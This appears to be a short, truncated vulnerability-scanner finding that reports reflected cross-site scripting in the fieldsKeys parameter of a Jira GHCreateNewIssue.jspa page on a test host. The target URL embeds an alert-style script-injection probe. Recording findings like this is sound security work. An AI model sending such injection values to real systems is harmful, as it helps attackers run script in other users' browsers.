XSS (reflected) in fieldsKeys parameter of GHCreateNewIssue.jspa

Targets: https://test01.jira-dev.com/secure/GHCreateNewIssue.jspa?key=&issueType=7&fieldsKeys=priority,customfield10006,summary,fixVersions,components,customfield10005,assignee,customfield10004,reporter,customfield100039fd29alert'XSS'15d31825f8e9d6606&fieldsValues=1@%@...